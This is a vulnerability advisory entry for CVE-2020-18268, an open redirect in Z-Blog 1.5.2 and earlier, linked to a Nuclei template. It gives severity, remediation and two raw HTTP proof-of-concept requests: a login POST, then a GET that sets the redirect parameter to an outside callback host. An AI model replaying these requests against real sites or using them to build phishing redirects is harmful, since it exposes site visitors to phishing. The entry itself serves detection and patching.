| Title | Z-Blog <=1.5.2 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks. |
| Remediation | Upgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06993 |
| CVE ID | CVE-2020-18268 |
| CWE ID | CWE-601 |
| Tags | cve cve2020 redirect zblogphp authenticated zblogcn vuln |
Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /zb_system/cmd.php?act=verify HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Length: 83
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
btnPost=Log+In&username=GTuOds&password=f072e2d749abbbe5065627b0ac2f045f&savedate=0
GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-18268.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-18268.pcap
N/AN/A